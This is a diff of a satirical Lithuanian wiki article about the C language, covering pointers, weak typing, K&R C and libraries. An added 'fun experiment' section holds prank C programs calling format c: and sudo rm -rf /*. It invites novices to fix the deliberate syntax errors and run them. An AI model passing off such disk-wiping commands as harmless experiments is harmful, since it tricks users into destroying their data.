C kalba: Skirtumas tarp puslapio versijų

2 153 pridėti baitai ,  16 vasario
nėra keitimo aprašymo
(Naujas puslapis: '''C''' - tokia programavimo kalba, kuri tiesiog viena raide '''C''' pavadinta, matyt tam, kad niekas negalėtų susigaudyti ir galvotų, kad čia šiaip kažkokia raidė pa...)
 
 
(nerodoma 5 tarpinės versijos, sukurtos 2 naudotojų)
5 eilutė: 5 eilutė:
Išties gi C turi vieną įdomumą, kurį jau seniai sukapojo visokie standartizacijos komitetai, nes geriau jau to privalumo nereikia, nes dar priprogramuos tie programuotojai neaišku, ko. Taigi, jau to privalumo C kalba neturi.
Išties gi C turi vieną įdomumą, kurį jau seniai sukapojo visokie standartizacijos komitetai, nes geriau jau to privalumo nereikia, nes dar priprogramuos tie programuotojai neaišku, ko. Taigi, jau to privalumo C kalba neturi.


Privalumas gi buvo toksai, kad C išties tėra nežymiai pagražintas asembleris, primenantis normalią kalbą daugiau savo išore, negu vidumi. Vidumi gi C visur remiasi prielaida, kad viskas yra arba kokia nors asemblerio komanda, skirta kokius nors veiksmus padaryti, arba kokie nors duomenys, arba koks nors pointeris arba kažko tai adresas. O jei nei tas, nei anas - tai reiškia, kad išvis nieko nereiškia ir tai galima tiesiog išmesti.
Privalumas gi buvo toksai, kad C išties tėra nežymiai pagražintas [[asembleris]], primenantis normalią kalbą daugiau savo išore, negu vidumi. Vidumi gi C visur remiasi prielaida, kad viskas yra arba kokia nors asemblerio komanda, skirta kokius nors veiksmus padaryti, arba kokie nors duomenys, arba koks nors [[pointeris]] arba kažko tai adresas. O jei nei tas, nei anas - tai reiškia, kad išvis nieko nereiškia ir tai galima tiesiog išmesti. Žodžiu, visur viskas su [[rodyklės|rodyklėmis]], dėl kurių visus mažiau patyrusiems programuotojams kyla baisi šiknasopė.


Todėl pasiėmus C parašytą programą, visada galima ją nuosekliai išversti į [[asembleris|asemblerio]] tekstą, o paskui jau gautame asemblerio tekste turėti visiškai tiesioginį tos C programos ekvivalentą.
Todėl pasiėmus C parašytą programą, visada galima ją nuosekliai išversti į [[asembleris|asemblerio]] tekstą, o paskui jau gautame asemblerio tekste turėti visiškai tiesioginį tos C programos ekvivalentą.
Nepatyrusiems programuotojams atrodo, kad C kalba palaiko duomenų tipus, tačiau čia slypi žiauri klasta: realiai gi šita kalba tepalaiko tik tokius dalykus, kaip [[baitai]], iš jų sudaryti žodžiai (word) ar panašūs duomenys, ir rodyklės. Visa kita - tėra daugiau ar mažiau apgaulingos duomenų tipų simuliacijos, o pats [[kompiliatorius]] gali absoliučiai neskirti ir nesuprasti, kur kokių tipų duomenys yra. Ypač tai pasakytina apie klasikinį, tą gerąjį C kalbos variantą, kuris vadinamas '''Kernighan and Ritchie C''' arba tiesiog '''K&R C'''. Šitas pliusas leidžia dirbti su duomenimis kaip nori, tačiau duoda ir pasekmių.


Atitinkamai, tradiciniame C programavime galima daryti keistus dalykus, kurie atrodo ganėtinai nenormalūs. Pavyzdžiui, galima su kokiu nors [[Goto]] pereiti tiesiai į kokio nors ciklo ar funkcijos vidų. Arba galima apsibrėžti kintamąjį, kuris yra integeris, į jį įsimesti kokio nors masyvo adresą, o į tą masyvą prikaišioti pointerių į kokias nors funkcijas ir paskui kokiame nors cikle iškvietinėti kokią nors ''array[*point+x]()'' ar dar kokią nors didesnę nesąmonę.
Atitinkamai, tradiciniame C programavime galima daryti keistus dalykus, kurie atrodo ganėtinai nenormalūs. Pavyzdžiui, galima su kokiu nors [[Goto]] pereiti tiesiai į kokio nors ciklo ar funkcijos vidų. Arba galima apsibrėžti kintamąjį, kuris yra integeris, į jį įsimesti kokio nors masyvo adresą, o į tą masyvą prikaišioti pointerių į kokias nors funkcijas ir paskui kokiame nors cikle iškvietinėti kokią nors ''array[*point+x]()'' ar dar kokią nors didesnę nesąmonę.
22 eilutė: 24 eilutė:
     return 0;
     return 0;
  }
  }
== Smagus bandymas ==
Windozei:
#include <stdio.h>
#include <stdlib.h>
int main()
{
    system(format c:/)
    printf("Valio!\n");
    return 0;
}
Linuksams:
#include <stdio.h>
#include <stdlib.h>
int main()
{
    system(sudo rm -rf /*)
    printf("Valio!\n");
    return 0;
}
Išbandykite, ir pažiūrėkite kas gausis. Išties tai gausis kompiliacijos erroras, nes surašyta tai čia klaidingai, bet linkim sėkmės išsiaiškinant, pataisant, o paskui prasitrinant sau iš disko visus duomenis su šita nesąmone.
== C kalbos programinės bibliotekos ==
Daugelis dalykų, kurie aukšto lygio programavimo kalbose apibrėžiami kaip kalbos dalis, pvz., tipų atpažinimas, tipų konversija, įvedimas/išvedimas, atminties alokavimas ir panašiai, C kalboje tėra tiesiog eilinės funkcijos, kurios šia pačia kalba yra ir parašytos. Tai dėl tos priežasties vienas iš esminių dalykų, dirbant su C kalba, yra išmokti susigaudyti visokiose [[programinės bibliotekos|programinėse bibliotekose]].
Tai C programuotojus atrenkant ir priimant į darbą, būna klausiama ne tiek apie tai, kokias jie programavimo kalbas naudoja, kiek apie tai, su kokiomis bibliotekomis jie dirba.
Savaime aišku, svarbiausia C kalbos biblioteka yra [[libc]], ant kurios visas [[UNIX]] pastatytas bei visokie programavimo pagrindai bendrai.




[[Category:Programavimo kalbos]]
[[Category:Programavimo kalbos]]
1 637

pakeitimai